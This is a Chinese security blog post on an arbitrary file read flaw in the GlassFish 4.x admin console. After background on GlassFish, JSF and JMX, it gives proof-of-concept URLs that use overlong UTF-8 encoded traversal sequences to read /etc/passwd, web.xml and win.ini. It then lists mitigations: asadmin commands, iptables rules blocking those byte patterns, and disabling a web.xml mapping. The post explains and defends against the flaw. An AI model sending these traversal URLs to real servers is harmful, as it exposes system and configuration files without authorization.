应用服务器Glassfish任意文件读取漏洞

catalogue

. 前言和技术背景
. Glassfish安装配置
. 漏洞利用
. 漏洞缓解(修复)

1. 前言和技术背景

0x1: GlassFish是什么

GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来

0x2: JSF是什么

JSF ,java Server Faces, 他与struts一样都是web应用框架,但是他们的本质区别在于, struts只是单纯的MVC模式框架,而JSF是一种事件驱动型的组件模型
应用程序的开发有两种B/S(浏览器/服务器)和C/S(客户端/服务器端),JSF就是将C/S开发中的界面引入了B/S开发中,然后为界面上的每一个控件都提供事件侦听器。通过JSF,可以在网页上使用WEB组件来捕获用户行为产生的事件.使用JSF开发web程序将与开发swing程序类似,可以拖放控件

0x3: JMX是什么

JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理
JMX是一种应用编程接口,可扩充对象和方法的集合体,可以用于跨越一系列不同的异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用它提供了用户界面指导、Java类和开发集成系统、网络及网络管理应用的规范。
管理对象是JMX应用程序的核心。JMX结构包括:支持Java的Web浏览器用户接口,管理运行模块ARM(Admin Runtime Module)和应用。这三个部件之间通过RMI(Remote Method Invocation)进行通信。这里需要说明的是,RMI是使得一个Java虚拟机(JVM)上运行的程序可以调用远程服务器上另一个JVM总的对象。
用户接口用来发布管理操作,这些操作可以间接的通过浏览器或通过单独的应用程序来激发。管理运行模块用来给应用提供实例化的管理对象。它包括Agent对象接口,通知接口和被管数据接口。应用指的是那些被管设备单元。
JMX是一个完整的网络管理应用程序开发环境,它同时提供了:厂商需要收集的完整的特性清单,可生成资源清单表格,图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法。
JMX这一轻型的管理基础结构,价值在于对被管理资源的服务实现了抽象,提供了低层的基本类集合,开发人员在保证大多数的公共管理类的完整性和一致性的前提下,进行扩展以满足特定网络管理应用的需要

Relevant Link:

http://www.xuebuyuan.com/1865382.html

2. Glassfish安装配置

unzip glassfish-4.1.*zip
glassfish4/bin/asadmin start-domain
Go to http://localhost:4848

Relevant Link:

https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241
http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_
https://glassfish.java.net/download.html

3. 漏洞利用

0x1: POC1(..编码)

http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

0x2: POC1(/编码)

http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

4.1.1把 %c0%ae = . 修复了,但是%c0%af = /没过滤

Relevant Link:

http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect
http://www.wooyun.org/bugs/wooyun-2010-0144595

4. 漏洞缓解(修复)

0x1: 关闭远程管理

关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启GlassFish服务

./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain
./asadmin start-domain asadmin.bat change-admin-password
asadmin.bat disable-secure-admin
asadmin.bat stop-domain
asadmin.bat start-domain

需要注意的是,关闭远程访问只能禁用远程login登录,但是攻击url还是可以访问,任意文件读取依然存在

0x2: Iptables规则

iptables -I INPUT -p tcp --dport  -m string --to  --algo bm --string '..\%c0\%af' -j DROP
iptables -I INPUT -p tcp --dport -m string --to --algo bm --string '\%c0\%ae/' -j DROP
iptables -I INPUT -p tcp --dport -m string --to --algo bm --string '../' -j DROP
//该规则无法防御HTTPS SSL方案

0x3: 禁用web.xml theme映射

\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml

aaarticlea/png;base64,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" alt="" />

重启glassfish后生效

Relevant Link:

http://blog.csdn.net/joyous/article/details/8008870
http://blog.csdn.net/myjlvzlp/article/details/8009885
http://book.51cto.com/art/200904/120804.htm
http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html
http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/

Copyright (c) 2016 LittleHann All rights reserved

上一篇:耿丹CS16-2班第六次作业汇总


下一篇:把一下程序中的print()函数改写成